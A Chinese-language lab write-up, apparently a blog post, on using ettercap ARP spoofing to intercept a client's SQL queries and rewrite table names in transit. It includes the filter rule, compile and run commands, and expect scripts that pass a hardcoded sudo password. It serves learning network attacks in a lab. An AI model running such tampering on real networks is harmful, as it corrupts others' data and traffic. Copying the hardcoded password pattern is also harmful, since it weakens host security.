情景:
两台主机A(IP:192.168.44.132)和B(IP:192.168.44.134)
分别作为数据库服务器和客户端。
另一主机C作为中间人进行ARP攻击。主机C上已安装ettercap并启用ip转发。
攻击内容:
在客户端和服务器建立连接后,截获客户端发给服务器的SQL语句,并修改其中字段,重新转发给服务端。然后看服务端是否能返回被修改过后的语句执行结果。
过滤文件:
过滤文件changeStr.txt内容,就是简单的将"TEST2"字段替换为"TEST1"。
if (ip.proto==TCP)
{
replace("TEST2","TEST1");
}
编译过滤文件:
过滤文件需要先进行编译。编译语法实例:sudo etterfilter changeStr.txt -o changeStr.filter
这里我写了一个脚本来执行。
用于编译的脚本compile.sh的内容:
(注意:执行这个脚本需要先安装expect
安装过程我在这篇博文里面有记录:https://blog.csdn.net/shimadear/article/details/93972559)
#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo etterfilter changeStr.txt -o changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact
这里面"123456"表示root用户密码,按情况改写。
运行:
运行过程包括ettercap的启动,过滤文件的加载,运行后被攻击的两台主机发送的数据包就都按过滤文件的内容进行替换。
运行语句实例:sudo ettercap -T -q -M arp:remote /192.168.56.102// /192.168.56.105// -F changeStr.filter
同样也写了脚本来执行。run.sh内容:
#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo ettercap -T -q -M arp:remote /192.168.44.134// /192.168.44.132// -F changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact
查看结果:
在连接到的数据库实例中有表TEST1和表TEST2,TEST1记录条数为1条,TEST2记录条数为2条。
在客户端与服务器建立连接之后,中间人进行攻击之前,客户端提交SQL语句"SELECT COUNT(*) FROM TEST2;" ,正常返回结果为2。而在中间人攻击之后,再次执行语句"SELECT COUNT(*) FROM TEST2;",可以看到返回结果为1,而这正是表TEST1的记录条数。说明攻击成功。